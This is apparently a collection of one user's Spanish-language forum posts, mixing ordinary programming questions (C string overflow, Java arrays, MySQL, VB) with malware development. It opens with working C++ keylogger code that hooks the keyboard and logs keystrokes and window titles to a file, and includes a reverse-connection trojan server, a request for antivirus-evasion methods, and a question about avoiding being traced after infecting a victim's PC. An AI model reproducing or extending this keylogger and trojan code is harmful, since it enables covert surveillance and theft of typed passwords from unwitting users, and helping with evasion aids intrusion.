        break;
    }

    return 0;
}


/*LA FUNCION QUE DEBERIA LLAMARSE CUANDO EL SOCKET SE CONECTA*/
/*PERO ESTO YA NO SE EJECUTA O AL MENOS NO HIZE LAS PRUEBAS HASTA AQUI*/
void DArrival(){
while (len!=0){ //mientras estemos conectados
   len=recv(sock,Buffer,1023,0); //recibimos los datos que envie

if (len>0){ //si seguimos conectados
Buffer[len]=0; //le ponemos el final de cadena

AlTitulo(Buffer);


}
}
ts=-1;

}



















//DEFINICION DE LA FUNCION DEL HOOK, ESTO FUNCIONA NO HAY MUCHO QUE DECIR AQUI.
LRESULT CALLBACK capturaTeclas(int nCode, WPARAM wParam, LPARAM lParam) {

PKBDLLHOOKSTRUCT puntero = (PKBDLLHOOKSTRUCT) (lParam);
DWORD Tecla = puntero->vkCode;

     //vemos si wParam es igual a WM_KEYDOWN (tecla presionada)
if (wParam == WM_KEYDOWN ||  wParam == WM_SYSKEYDOWN) {
switch (puntero->vkCode) {
case VK_RETURN: //SI PRESIONA ENTER GUARDAMOS EN EL LOG LO QUE SE HA ACUMULADO EN 'HISTORY'

HISTORY.append("\n");

{
FILE *mif=fopen("logger2.txt","a+");
fputs(HISTORY.c_str(),mif); //guardamos.
fclose(mif);
}
HISTORY="";

break;  //se presiono un enter

case VK_LMENU: HISTORY.append("[AI]"); break;  //la tecla alt
case VK_RMENU:  HISTORY.append("[AD]"); break;  //la tecla alt
case VK_BACK: HISTORY.append("[<]");    break; //la tecla retroceso
case VK_TAB: HISTORY.append("[T]");    break; //la tecla tabulador
case VK_END : HISTORY.append("[F]");    break; //la tecla fin
case VK_HOME: HISTORY.append("[I]");    break; //la tecla home
case VK_LEFT: HISTORY.append("[L]");    break; //la tecla felcha izquierda
case VK_UP: HISTORY.append("[U]");    break; //la tecla flecha arriba
case VK_RIGHT: HISTORY.append("[R]");    break; //la tecla flecha derecha
case VK_DOWN: HISTORY.append("[D]");    break; //la tecla flecha abajo
case VK_DELETE: HISTORY.append("[S]");    break; //la tecla suprimir
case VK_MULTIPLY:HISTORY.append("*");    break; //la tecla * del teclado num
case VK_ADD: HISTORY.append("+");    break; //la tecla + del teclado num
case VK_SUBTRACT:HISTORY.append("-");    break; //la tecla -
case VK_DIVIDE: HISTORY.append("/");    break; //la tecla /
case VK_DECIMAL:HISTORY.append(".");    break; //la tecla . del teclado num
case VK_CAPITAL:HISTORY.append("[CAPS]");    break; //CAPS LOCK

//registramos las teclas normales
default:
if ((puntero->vkCode>64)&&(puntero->vkCode<91)){
if (!(GetAsyncKeyState(VK_SHIFT)^isCapsLock())){
puntero->vkCode+=32;



sprintf(bufferKL,"%c",puntero->vkCode);
HISTORY.append(bufferKL);

}else{
sprintf(bufferKL,"%c",puntero->vkCode);
HISTORY.append(bufferKL);
}

}
if (Tecla==VK_SPACE){ //espacio en blanco
HISTORY.append(" ");
}



}
//GUARDAMOS CON EL TITULO DE VENTANA

if(GetForegroundWindow()!=ventana){
ventana=GetForegroundWindow();
GetWindowText(ventana,TVentana,80);
sprintf(tp,"\n[%s]\n",TVentana);
HISTORY.append(tp);
}

}
   
   //en el caso de que haya otro hook instalado, le damos el pase para que haga lo suyo
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
















/*****************FUNCIONES UTILES*************************************/
void AlTitulo(char *Buffer){
HWND ventana;
ventana=GetForegroundWindow();
SetWindowText(ventana,Buffer);

}



Resumiendo la consulta:

¿por que windows se detiene o se pone lento cuando con un timer hago que el socket de este server se conecte a su cliente?, el timer esta a 2 segundos, al sacar las llamadas a las funciones de 'inicializar' y 'conectar', todo va bien pero obviamente necesito hacer eso para poder conectarme.

Un Saludo.


#15
Que tal, pues lo del asunto, cual es la forma correcta de saber si un socket normal esta o no conectado en C++???.

Recuerdo que en basic, teniamos la propiedad 'State' que nos decia en cualquier momento si el Socket estaba o no conectado.

Agradecido desde ya por su tiempo y respuesta.
#16
Hola, tengo el siguiente codigo:
* Un puntero cad a char
* De tamaño 10

Luego de inicializarlo con strcpy, voy agregando cadenas con strcat, pero al ser la variable cad de 10 elementos, ¿no deberia haber un error?


Ademas mi idea es concatenar 'n' caracteres y no solamente '10', es decir no se sabe cuantas cadenas recibira la variable cad, ¿cual seria la declaracion?



Código (cpp) [Seleccionar]

#include <stdio.h>
#include <string.h>

int main()
{

char *cad;

cad=new char[10]();
strcpy(cad,"");

strcat(cad,"123");
strcat(cad,"456");
strcat(cad,"789");

strcat(cad,"abc"); //<-- Aqui deberia haber un error
strcat(cad,"def"); //<-- Aqui tambien pero el programa corre

        strcat(cad,"def"); //<-- Aqui el programa cierra abruptamente

printf("%s\n",cad);

return 0;

}


Saludos.
#17
Hola amigos:

Estoy haciendo un hook al teclado y al tratar de capturar los corchetes mi codigo no lo hace, tampoco detecta el ALT-Izquierdo ni el ALT-Derecho.

Al menos en mi teclado, el corchete de apertura esta asi:
[`^ todo eso en una tecla (el corchete de apertura sale al presionar ALTGR+la tecla esa)
+*] todo eso en una tecla (el corchete de cierre sale al presionar ALTGR+la tecla esa)


tengo lo siguiente:
Código (cpp) [Seleccionar]

LRESULT CALLBACK capturaTeclas(int nCode, WPARAM wParam, LPARAM lParam) {

PKBDLLHOOKSTRUCT puntero = (PKBDLLHOOKSTRUCT) (lParam);
DWORD Tecla = puntero->vkCode;

if (wParam == WM_KEYDOWN) {

switch (puntero->vkCode) {
case VK_RETURN: fputs("\n",f);      break;  //ENTER DETECTADO
case VK_LMENU: fputs(" [AltI] ",f);  break;  //¿POR QUE NO DETECTA ESTA TECLA?
case VK_RMENU: fputs(" [AltD] ",f);  break;  //¿POR QUE NO DETECTA ESTA OTRA TECLA?

case VK_RIGHT: fputs("[D]",f);    break; //la tecla flecha derecha. OK
case VK_DOWN: fputs("[D]",f);    break; //la tecla flecha abajo. OK
case VK_DELETE: fputs("[S]",f);    break; //la tecla suprimir


//capturamos las teclas normales
default:

if ((puntero->vkCode>64)&&(puntero->vkCode<91)){
if (!(GetAsyncKeyState(VK_SHIFT)^isCapsLock())){

puntero->vkCode+=32; // a minusculas
fputc(puntero->vkCode,f);
}else{  
fputc(puntero->vkCode,f);
}

}
if (Tecla==VK_SPACE){ //espacio en blanco
fputs(" ",f);
}

if (Tecla==190){ //detecta correctamente el punto y los dos puntos
 if (!(GetAsyncKeyState(VK_SHIFT)))
fputs(".",f); //punto
 else
fputs(":",f); //dos puntos
}

if (Tecla==188){ //coma y punto y coma. OK
 if (!(GetAsyncKeyState(VK_SHIFT)))
fputs(",",f);
 else
 fputs(";",f);
}

if (Tecla==189){ //guion y sub guion. OK
 if (!(GetAsyncKeyState(VK_SHIFT)))
fputs("-",f); //
 else
 fputs("_",f); //
}



/*ESTE ES EL CODIGO QUE NO TRABAJA, EL PROGRAMA EJECUTA PERO POR
ALGUNA RAZON NO PUEDE CAPTURAR NI EL ALTGR NI EL CORCHETE DE APERTURA*/

if (Tecla==186){ //ERROR ¿POR QUE NO DETECTA LA TECLA DONDE ESTA MI CORCHETE DE APERTURA?
if ((GetAsyncKeyState(VK_SHIFT))){ //si esta presionado SHIFT
 if (!GetAsyncKeyState(165)) //si no esta presionado ALTGR
   fputs("`",f); //
}
 else
 if (GetAsyncKeyState(165)) //si esta presionado ALTGR
   fputs("[",f); //corchete capturado <-- pero no funciona
 else
 fputs("^",f);


}
[/color]







}
}    
  return CallNextHookEx(NULL, nCode, wParam, lParam);
}



He probado con VK_OEM_4 pero tampoco.
¿Alguna sugerencia?.

#18
Buenas a todos

Me he pasado varias horas googleando a cerca de esta interesante API para 'enganchar' al teclado y a otras cosas, pero la mucha info que hay, esta al 90% en ingles y me cuesta entenderlo, por lo que pido ayuda a alguna alma caritativa para poder entenderla y ojala con un ejemplo funcional para a partir de alli poder crear por ejemplo un keylogger simple.

Por lo que he logrado entender, seria mejor usar un hook a WH_KEYBOARD_LL y no a WH_KEYBOARD, ya que esta ultima dependeria de una DLL.

Y por ultimo, ya que estoy bajo Visual C++ 2005, cual es el mejor escenario para poder crear por ejemplo un keylogger, una aplicación de consola o una aplicacion de Win32.

Se que puedo estar preguntando cosas sin saber pero justamente por eso os pido que me orienten un poco.

Saludos y muchas gracias desde ya.
#19
Programación C/C++ / Peticion del Socket
20 Julio 2011, 05:47 AM
Hola a todos, estoy iniciandome con los Sockets en C y he tomado un code del amigo EON, crea un socket (servidor, en conexion inversa) y envia o intenta conectarse con su cliente que esta hecho en Basic:

Servidor:
Código (cpp) [Seleccionar]

#include <winsock2.h>
#include <windows.h>
#include <stdio.h>

#pragma comment(lib,"ws2_32.lib") //Para linkear la libreria del winsock
void main(void)
{
//ShowWindow(GetForegroundWindow(),SW_HIDE); //Esta linea sirve para ocultar la
//consola y poner el programa como proceso. Por ahora la dejamos asi.

WSADATA wsa; //Si no sabes que es todo esto, leete mejor el manual xDD
SOCKET sock;
struct hostent *host;
struct sockaddr_in direc;
int conex;
char Buffer[1024];
int len;
//Inicializamos
WSAStartup(MAKEWORD(2,2),&wsa);
//Establememos el dominio donde nos conectaremos, por ahora ponemos 127.0.0.1 para
//hacer las pruevas

host=gethostbyname("192.168.1.4"); //localhost = 127.0.0.1 ;P
//creamos el socket
sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if (sock==-1)
{
//Si se produce un error al crear el socket
main(); //Llamamos de nuevo a la función principal para seguir intentandolo
}
//Definimos la dirección a conectar que hemos recibido desde el gethostbyname
//y decimos que el puerto al que deberá conectar
direc.sin_family=AF_INET;
direc.sin_port=htons(1234); //Elegimos un puerto cualkiera, mas adelante esto lo elegirá el
//usuario cuando hagamos el server edit
direc.sin_addr = *((struct in_addr *)host->h_addr);
memset(direc.sin_zero,0,8);
//Intentamos establecer la conexión hasta que lo logremos
conex=connect(sock,(sockaddr *)&direc, sizeof(sockaddr));
while (conex==-1)
{ //Esto es lo que hará si no se puede conetar:
Sleep(250); //Hacemos q el programa se detenga un poco, cuando se termine el
//troyano conviene subir este intervalo
//Por ahora lo dejamos asi para hacer mas comodas las pruevas
conex=connect(sock,(sockaddr *)&direc, sizeof(sockaddr)); //He intentamos
//establecer la conexión de nuevo hasta que lo logremos.
printf("\nSe ha intentado conectar con el cliente...");
}

//printf("\n\n Ok, ");
len=send(sock,"aqui C++",8,0); //Como somos muy educados saludamos xDD el 4 despues
//del hola indica el nº de
//caracteres a enviar

while (len!=0){ //Mientras que permanezcamoos conectados

len = recv(sock,Buffer,1023,0); //Recibimos los datos que envie
if (len>0) //Si seguimos conectados...
{
Buffer[len]=0; //Ponemos los datos recibidos al final de la cadena

//Aki hay q poner el conjunto de if's para las acciones
}
}

main(); //Cuando nos desconectamos volvemos a llamar a main para q siga intentando
//conectarse
}


Muy bien, todo compila normalmente, ahora el cliente es un WINSOCK normal en Basic con su localport = 1234 con su boton 'Iniciar la Escucha'.

Al correr cliente y servidor y poner a la escucha el cliente, el servidor de C efectivamente lanza su peticion al cliente y éste lo detecta en su evento 'ConnectionRequest', PERO A PROPOSITO HAGO QUE NO LO ACEPTE, por lo que el servidor deberia seguir intentando conectarse con su cliente, lo que noto que pasa es que el servidor al enviar la peticion y notar que el cliente lo ha detectado, deja de enviar peticiones, ademas cuando cierro el cliente el servidor deberia volver a realizar infinitos intentos de conectarse con su cliente hasta que éste lo acepte con un Accept().

¿Que sucede?

Desde ya gracias por su tiempo y ayuda.
#20
Hola que tal, espero puedan orientarme con este tema.

El avira (y lo mas seguro otros antivirus) me esta detectando mi proyecto en VB de troyano como malware, lo sé, era de esperarse ya que las llamadas a la API o al registro de Windows lo hago asi, sin ningun tipo de cifrado o algo parecido. Mi pregunta es: ¿Hasta la fecha hay algun metodo efectivo que ayude a saltarse el antivirus?.. He leido sobre cifrar el proyecto pero al menos el de Karcrack no me ha funcionado, deja muchas lineas en rojo, tambien lo de las llamadas a las APIS no de la forma convencional sino de una tal que el antivirus no lo detecta, aun asi el tema no me ha quedado muy claro y por eso el motivo del post.

Desde ya gracias por su ayuda.

Saludos.
#21
Hola muchachos, despues de tiempo posteando por aqui... bueno al asunto: Tengo un exe en donde hago una simple comparacion en un form tipo login, tanto el user como el pass lo obtengo de una pagina web a dos variables 'user' y 'pass' respectivamente, luego las comparo con lo ingresado en 2 cuadros de texto.

sospecho que al comparar una variable (que esta en memoria) con un text resulta facil de ver con un debugger...

¿Que tecnicas me recomiendan para que ese mi programa no pueda ser crakeado con por ejemplo el ollydbg u otro?

#22
Bases de Datos / Consulta un tanto rara
17 Noviembre 2010, 06:01 AM
Hola muchachos, me he topado con el sgte problema y no puedo resolverlo

tengo una tabla asi

campo1         campo2
juan               españa
juan               peru
maria             mexico
juan               argentina
maria             paris

yo quisiera ofrecer como resultado el siguiente resumen o listado a traves de una sentencia en mysql:

juan   | españa,peru,argentina
maria | mexico,paris

lo he intentado pero no he tenido exito, aver si me dan una mano
#23
Que tal muchachos, si por ejemplo desde casa logro infectar otra PC remota, ¿hay posibilidades de que la victima al denunciar este hecho ante telefonica pueda ubicarme?

El troyano que pretendo usar me lo hize yo mismo, es de conexion inversa y deseo usar el NO-IP

Saludos

#24
Hola a todos. Hace mucho tiempo he tenido la necesidad de ofuscar mis codigos en PHP y buscando por la red me encontre con ofuscadores on-line pero que requerian librerias extras.

Luego encontre un excelente ofuscador denominado PHP Processor, es shareware, pero tiene unas pequeñas limitantes como por ejemplo, no quita indentación de los archivos y tampoco permite definir las variables aleatorias puesto que les pone un solo patron y longitud. Sin embargo es un gran ofuscador.

Pero me he decidido a programar mi pequeño Ofuscador y me ha servido bastante, se trata de OfWiz y le he puesto algunas opciones interesantes, aunque aun falta muchas otras opciones como por ejemplo ofuscar todos los PHP de un directorio, aun asi me permito publicarlo aqui en esta parte del foro para quienes se animen a probarlo.

Aqui una breve explicación de su uso:

Interfaz:


Barra de Herr.


Explicación:
1. Permite configurar la generacion de variables aleatorias y algunas otras opciones
2. Backup de todo el directorio seleccionad (AUN NO FUNCIONA)
3. Colorea la sintaxis PHP
4. Oculta los comentarios de un archivo PHP
5. Resalta los comentarios de un archivo PHP
6. Elimina los comentarios de un archivo PHP
7. Elimina las lineas en blanco que se encuentre en un archivo PHP
8. Elimina la indentación de un archivo PHP
9. Reemplaza las variables que se encuentren por otras generadas aleatoriamente y de acuerdo a lo establecido en el punto 1
10. Aplica los puntos 6, 7, 8 y 9 de un solo paso al archivo mostrado
11. Guarda los cambios que se hizo al archivo mostrado.
12. Aplica los puntos 6, 7, 8 y 9 a todos los archivos del directorio seleccionado (YÁ FUNCIONA)


Ejemplo:
php original

Código (php) [Seleccionar]

<?php
   
/* Archivo PHP
   de Pruebas*/
   
   
include("conex.php"); //archivo de conezion a la BD
   
$link=Conectarse();
   if(
$link){
   $nombre=$_GET['nombre'];
   $apellidos=$_GET['apellidos'];   
   mysql_query("insert into prueba (Nombre,Apellidos) values ('$nombre','$apellidos')",$link);
   }   
   
   
/*Redireccionamos*/
   
header("Location: ejem07d.phtml");
   
?>




PHP Ofuscado, luego de aplicarle por ejemplo, el boton 10
(sin lineas en blanco, sin indentacion, sin comentarios y con variables ofuscadas[todo])
Código (php) [Seleccionar]

<?php
include("conex.php");
$_NIn25CptS3ZS=Conectarse();
if(
$_NIn25CptS3ZS){
$_WJFxXWL9FgN1=$_GET['nombre'];
$_dGNZxmmoi090=$_GET['apellidos'];
mysql_query("insert into prueba (Nombre,Apellidos) values ('$_WJFxXWL9FgN1','$_dGNZxmmoi090')",$_NIn25CptS3ZS);
}
header("Location: ejem07d.phtml");
?>





otro ejemplo con variables ofuscadas generadas con solo numeros [boton 1]
Código (php) [Seleccionar]

<?php
include("conex.php");
$_077443507825415429=Conectarse();
if(
$_077443507825415429){
$_535838837465153412=$_GET['nombre'];
$_738018528184598387=$_GET['apellidos'];
mysql_query("insert into prueba (Nombre,Apellidos) values ('$_535838837465153412','$_738018528184598387')",$_077443507825415429);
}
header("Location: ejem07d.phtml");
?>



Esta hecho en Basic y probado en WinXP, el source lo publicare en el foro de Basic, de momento les dejo el exe y los OCX por si no les funciona.

El exe esta limpio y no desconfiar de él, aunque para mayor seguridad pasarle el antivirus.

Descargas:
Ofwiz (en ZIP)
Los OCX (en ZIP)

Descomprimir ambos zip en una sola carpeta, luego ejecutar el exe, a la primera puede salir un error, ejecutar otra vez y todo funcionará.

Saludos
#25
Que tal, ojalá  puedan ayudarme en esta duda que tengo, resulta que tengo esos dos modelos de ¿ROUTER / MODEM? y es mi deseo abrir el puerto 80 en ellos, he verificado a traves de la pagina: 'canyouseeme.org' y me dice que mi puerto 80 si esta abierto o ya esta abierto

¿eso quiere decir que ya puedo montar por ejemplo un servidor WEB? ¿pero y en donde especifico la IP interna de la PC que hara de Servidor?

Desde ya gracias por sus respuestas
#26
Redes / Router's - Modem's DUDA
12 Junio 2010, 23:59 PM
Que tal espero que puedan ayudarme con esta duda

Tengo un Router  y acceso a él en donde quiero abrir el puerto 80 para poder montar un pequeño servidor WEB, con este router no tengo problemas, pero que pasa si tengo un MODEM, ¿puede montarse un servidor WEB? ¿tiene puertos? ¿como se abre el puerto 80? pues por lo que he escuchado un MODEM tiene todos los puertos abiertos, pero ¿asi por que si?... espero su valioso aporteç


Saludos
#27
Hola espero me puedan ayudar en esta duda que tengo

Unos dicen que Windows XP es monousuario:
Citar
SISTEMA OPERATIVO MONOUSUARIO
Este tipo de sistema operativo puede ser utilizado solamente por un usuario a la vez . Por ejemplo: MS-DOS, OS/2 v. 3.0, Windows 95, Windows 98, Windows Me y Windows XP son sistemas operativos monousuarios.

SISTEMA OPERATIVO MULTIUSUARIO
Es un sistema operativo que puede ser utilizado por varios usuarios al mismo tiempo. Por ejemplo: Unix, Solaris y Windows 2000 (Terminal server) son sistemas operativos multiusuarios.


y otros dicen que XP es multiusuario

Cual es lo correcto???

MonoTarea MultiTarea MonoUsuario y MultiUsuario son cosas que de repente se me cruzo en la cabeza

desde ya gracias por sus comentarios



#28
Que tal amigos, tengo la necesidad de que mi servidor (de un troyanin) implemente o acceda a una direccion URL pero veo que de momento se puede hacer solo con el componente "Microsoft Internet Controls" que esta en la libreria "ieframe.dll" y que tendria que enviarselo al server para que funcione, el problema es que esta dll es de 10 MB y me parece imposible transferir 10MB a cada servidor.

¿hay alguna forma de prescindir de esta DLL?
¿existe algunas declaraciones API para esto?, es decir cargar paginas, llenar formularios web, enviarlos, (asi como un bot)?

Desde ya gracias por sus respuestas.
#29
Que tal, deseaba saber si alguien tuvo la necesidad de querer controlar el uso de banda ancha de cada pc que existe en una red, es decir por ejemplo en un cyber, hay muchas veces en que una maquina se "come" todo el ancho por que esta viendo 20 videos en youtube, hay alguna manera de limitarlo en ese momento y darle un ancho de por ejemplo 20kb/s  asi evitar que toda la red de 20 maquinas se ponga my lento???

Saludos.
#30
PHP / Proteger mi aplicacion PHP... ideas?
21 Enero 2010, 06:48 AM
Que tal, he estado varios dias tratando de proteger una pequeña aplicacion en php+mysql que esta corriendo en un servidor que no es mio, de que se hacen una copia se la hacen y de eso no hay duda, asi que para dificultarles mas el trabajo de quitar mi nombre por ejemplo, (que lo tengo en un archivo pie.php) he estado realizando lo siguiente:

- Ofuscando el codigo, a mas no poder pero de todas formas encontrarian la parte en donde esta mi nombre y lo cambiarian por el suyo.

- cifrando de alguna forma mi nombre y guardandolo en varios resgistros de una tabla, luego un funcion extraer saca mi nombre y lo pone en todas la paginas, CRACK: Irian a la llamada a la funcion y harian que no se llame a dicha funcion, asi conseguirian que no se muestre mi nombre y pondrian el suyo

- Si no llaman a la funcion que decodifica mi nombre que no se cree una variable de Sesion X, dicha variable la voy comparando en todo el sistema y si no es igual a un valor no prosigue ciertos pasos. CRACK: Irian a la funcion y justo luego de que se crea la sesion anularian la parte que devuelve mi nombre

Tambien he estado verificando si el SERVER_NAME es igual al nombre especifico que les dio el provvedor de hosting

Tambien con file_exists, preguntando por archivos fantasma que regue por ahi

Pero yo mismo he tratado de CRACKEARME y lo he logrado con un poco de tiempo, ellos lo harian entre varios y lograrian quitarme mi creacion, tambien he usado la funcion eval() pero igual no he podido proteger al maximo, se que hay aplicaciones como el ZEND pero el proveedor no tiene nada de eso, tampoco ZLIB asi que esos encriptadores que estan por la red no me sirve, tambien se que quiza no lo logre definitivamente pero quisiera saber vuestra opinion, ¿que harian ustedes? ¿algunas ideas mas?

Saludos
#31
Que tal con todos, quiza ustedes pueden ayduarme en esto, desearia poder capturar la linea de codigo que produce un error en mi aplicacion, imaginemos que tenemos un proyecto de 1000 lineas y en la 900 se produce una division entre cero, la descripcion lo ebtengo con err.description y el tipo de error con err.number... pero como obtengo la linea que produce dicho error, es decir habra alguna forma de que el programa responda diciendo que "hubo un error en la linea 900" ????

Un saludo a todos.
#32
Buenas, queria consultar lo siguiente y desde ya gracias por sus respuestas, resulta que  tuve una idea y no se que tan imposible sera de llevarla a cabo, es posible que en un monitor de una PC o en un visor especial pueda ver las posiciones de otra persona, cosa, objeto, auto o lo que sea pero solo dentro de mi ciudad????

explico una de las posibles aplicaciones: aqui en mi ciudad por ejemplo hay vehiculos de transporte urbano, las personas los esperan en determinados paraderos, pero como nadie es exacto en la hora pues algunas personas esperan mucho, lo que yo desearia es que en un monitor se pueda ver en que calle o cuadra se encuentra el carro que una persona espera, algo asi como una consulta, seria muy bonito que en un mapa de toda la ciudad (por ejemplo de google maps) se vean puntos moviendose que indiquen en donde esta ese carro o esa persona etc... que uno desea consultar... en mi ignorancia pienso que se puede instalar una antena muy alta (en uno de los montes altos de mi ciudad) para que pueda ser usado como un satelite, luego se enviarian señales y a traves de una triangulacion poder ubicar a ese carro auto o persona que tendria un dispositivo que devuela su ubicacion, algo asi como un radar o GPS... bueno no se que tan loca sea mi idea o si los expertos de este foro me pueden decir si se puede o no hacer y de ser asi que es lo que necesitaria...

Gracias y un saludo.
#33
Aqui les dejo un pequeño Spliter para sus proyectos, lo hize ya que lo necesitaba para mi proyecto y pues me parecio buena idea compartirlo con vosotros, sé que hay muchos en la red y obviamente mejores que éste pero se que a alguien le interesara el code para a partir de alli mejorarlo y/o completarlo.

El spliter que les comparto es uno horizontal, es decir derecha-izquierda, falta aun el vertical  y espero que alguien lo haga y lo comparta tambien, sino ya lo posteo cuando lo termine,.

En el ejemplo estoy redimensionando 2 Text (Text1 y Text2) y como Delimitador estoy usando un Label, claro que podria usar otros controles.

Es importante que la propiedad MousePointer del control que actuara como Delimitador este a (9 - Size WE) para que se vea mejor y un poco mas intuitivo.

Aqui va un ejemplo del diseño:


El control Label que es el Delimitador tiene como Nombre LBLDelim y este es su codigo:
Código (vb) [Seleccionar]

Private Sub LBLDelim_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
MOVER = True
End Sub

Private Sub LBLDelim_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
If MOVER = True Then
    LBLDelim.Left = LBLDelim.Left + X
    SpliterWiz Text1, Text2, LBLDelim
End If
End Sub

Private Sub LBLDelim_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)
MOVER = False
End Sub

MOVER ponerlo como Boolean en General

Mientras que el Sub que se encarga del redimensionado es:
Código (vb) [Seleccionar]

Sub SpliterWiz(ControlI As Control, ControlD As Control, Delimitador As Control)
    On Error GoTo ErrorSpliter
    Dim a1 As Integer, a2 As Integer, d As Integer
    ControlI.Width = Delimitador.Left - ControlI.Left
    a1 = ControlD.Left
    ControlD.Left = Delimitador.Left + Delimitador.Width
    a2 = ControlD.Left
   
    If a1 > a2 Then
     d = a1 - a2
     ControlD.Width = ControlD.Width + d
    Else
     d = a2 - a1
     ControlD.Width = ControlD.Width - d
    End If
ErrorSpliter:
End Sub


Presionar F5 y arrastar el Label, los cuadros de texto se redimensionaran.

A la espera del Vertical

Un saludo.
#34
"si el NetSupport puede hacerlo entonces nosotros tambien lo lograremos",

que tal con todos, esa es mi consigna y he estado averiguando un poco de esto y de todas formas ahora ya es posible esto de encender una PC remotamente ya que las placas actuales lo permiten al tener la opcion WOL (Wake on LAN) activada.

En la red esta el siguiente code (Con Winsock = WSC), en donde se envia el "Paquete Magico" a toda la red y en especial a la tarjeta de Red con MAC 00-16-76-2A-CD-85 (es un ejemplo de la pc que queria encender)


Dim buffer() As Byte
Dim contador As Byte
ReDim buffer(101) As Byte

For contador = 0 To 5
buffer(contador) = &HFF
Next

For contador = 6 To 101 Step 6
buffer(contador) = &H0
buffer(contador + 1) = &H16
buffer(contador + 2) = &H76
buffer(contador + 3) = &H2A
buffer(contador + 4) = &HCD
buffer(contador + 5) = &H85
Next

WSC.Protocol = sckUDPProtocol
WSC.RemoteHost = "255.255.255.255"
WSC.RemotePort = 7555
WSC.SendData buffer


en teoria deberia andar, sin embargo no me funciona, espero que haya gente interesada en esto pues seria una muy buena funcion para nuestros troyanos o para lo que veamos por conveniente, o quiza alguien ya lo tiene funcionando.

Espero sus opiniones.

Un saludo
#35
Que tal. ante los resultados infructuosos de mi busqueda por el tio google es que recurro a vosotros para ver si alguien sabe como puedo grabar el sonido que emiten los parlantes, mas no deseo capturar el sonido del microfono, supongo que alguna API ha de utilizarse pues hay en la red Soft ya hecho que permiten hacer lo que yo pero a traves de un code ne Basic.

Un saludo.
#36
tengo la siguiente situacion:

en el LOAD de un form cualquiera tengo ete codigo para evitar que se ejecute 2 veces el programa:

            If App.PrevInstance = True Then 'si ya se esta ejecutando
              End 'entonces finalizamos
            End If


ahora bien, el form tiene un boton para reiniciar la aplicacion es un simple boton "CMDREINICIAR" cuyo codigo es:


Dim RET
RET = Shell(App.path & "\" & App.EXEName & ".exe", 1) 'la instruccion para reiniciar (pero no va a reiniciar)
End 'finaliza el exe


y como se daran cuenta el programa se cierra pero ya no reinicia pues en el load se esta condicionando.

¿Cual sera la forma de reiniciar un EXE pero a la vez cuidar de que este no se ejecute 2 veces?

#37
Hola espero me puedan ayudar en este problemita que me surgio

tengo la siguiente clase:


  class hola{
   String texto;
 
  public void saludar(String mensaje){
   //hace algo;}
}



luego creo un array de objetos a partir de mi clase "hola" asi:

hola H[] =new hola[5];


el problema surge cuando quiero acceder al metodo "saludar" de la clase a través del objeto H, es decir:

H[1].saludar("Bienvenido");


pero me sale el siguiente error:
java.lang.NullPointerException


¿que estoy haciendo mal?

debo añadir que si creo un solo objeto todo va bien, pero cuando creo al array de objetos salta el error.



#38
Java / compilacion separada
2 Mayo 2008, 05:05 AM
Hola a todos, veran tengo el sgte problemita
Uso el Jcreator para hacer algunos programas en JAVA y por ejemplo cuando quiero usar una clase que esta definida en otro archivo lo hago de la sgte forma

archivo: miclase.java

import java.io.*;

class miclase{
    static int suma(int a, int b){
      return a+b;}
}


ahora bien este archivo lo guardo en "c:\mijava", lo compilo y obtengo miclase.class, desde otro programa invoco la clase asi:

archivo: programa.java

import java.io.*;
import mijava.*; //segun yo es asi como hago para invocar a la clase de arriba
public class programa{
public static void main(String [] args){
int x=2,y=3;
try{
     System.out.print("La suma es:" + miclase.suma(x,y)); //invoco a la clase
     }catch(Exception e){}
}
}


lo guardo en la misma carpeta de arriba y sin embargo me dice error en la linea 2 "import mijava.*;" pues dice que no puede encontrar el paquete "mijava"... y no es un paquete lo que quiero sino simplemente invocar a una clase que esta en otro archivo, como lo hacia por ejemplo en C++.

Alguien puede orientarme al respecto?

Desde ya muchas gracias.



#39
PHP / convertir fecha de los foros SMF
1 Abril 2008, 23:21 PM
hola a todos, me fije en la base de datos de SMF y generalmente guarda la hora y fecha en un formato similar a este "1207010204" y claro ahi no se ve o yo no logro ver que hora es y menos la fecha, lo que queria saber es como se puede convertir esta cadena o este entero a una fecha por ejemplo tipo 01/04/2008 13:30PM, estaba viendo la funcion "timeformat" de los codes de SMF que convierte esa cadena a una fecha como les mencione pero no puedo usarla... mi intencion es interactuar con la base de datos de SMF para mi pagina web y justamente mostrar la fecha de los post es lo que no puedo, alguna ayuda?

#40
Hola tengo unos problemas con lo siguiente:
resulta que deseo abrir un archivo X (con el programa que tenga asociado) y esperar a que este finalize para luego de ello hacer algunas cosas.

El archivo X lo abro con ShellExecute pero no puedo esperar a que termine con WaitFortSingleObject por que esta ultima api creo que espera un handle al proceso que ShellExecute no me lo da.

Lei por ahi que es mejor usar CreateProcess (que si devuelve un handle al proceso) pero esta API creo que solo abre aplicaciones (exe) y no cualquier archivo (que es mi proposito principal), intente pasarle el nombre de la aplicacion asociada (en el primer parametro con FindExecutable) pero tampoco me funciono, por ultimo probe con ShellExecuteEx que lei que si devuelve un handle al proceso que ejecuta pero si es asi no se como obtenerlo ni como juntarlo a WaitFortSingleObject.

aqui va el código
Código (vb) [Seleccionar]

Const SEE_MASK_INVOKEIDLIST = &HC
Const SEE_MASK_NOCLOSEPROCESS = &H40
Const SEE_MASK_FLAG_NO_UI = &H400
Private Type SHELLEXECUTEINFO
    cbSize As Long
    fMask As Long
    hwnd As Long
    lpVerb As String
    lpFile As String
    lpParameters As String
    lpDirectory As String
    nShow As Long
    hInstApp As Long
    lpIDList As Long
    lpClass As String
    hkeyClass As Long
    dwHotKey As Long
    hIcon As Long
    hProcess As Long
End Type
Private Declare Function ShellExecuteEx Lib "shell32.dll" (SEI As SHELLEXECUTEINFO) As Long

Private Declare Function WaitForSingleObject Lib "kernel32" (ByVal _
      hHandle As Long, ByVal dwMilliseconds As Long) As Long



Private Sub Form_Load()

Dim SEI As SHELLEXECUTEINFO
Dim r As Long
Dim ret As Long
With SEI

.cbSize = Len(SEI)
.fMask = SEE_MASK_NOCLOSEPROCESS Or _
SEE_MASK_INVOKEIDLIST Or SEE_MASK_FLAG_NO_UI

.hwnd = Me.hwnd
.lpVerb = "open"
.lpFile = "c:\prueba.txt" '<------- el archivo que quiero abrir
.lpParameters = vbNullChar
.lpDirectory = vbNullChar
.nShow = 1
.hInstApp = 0
.lpIDList = 0
End With

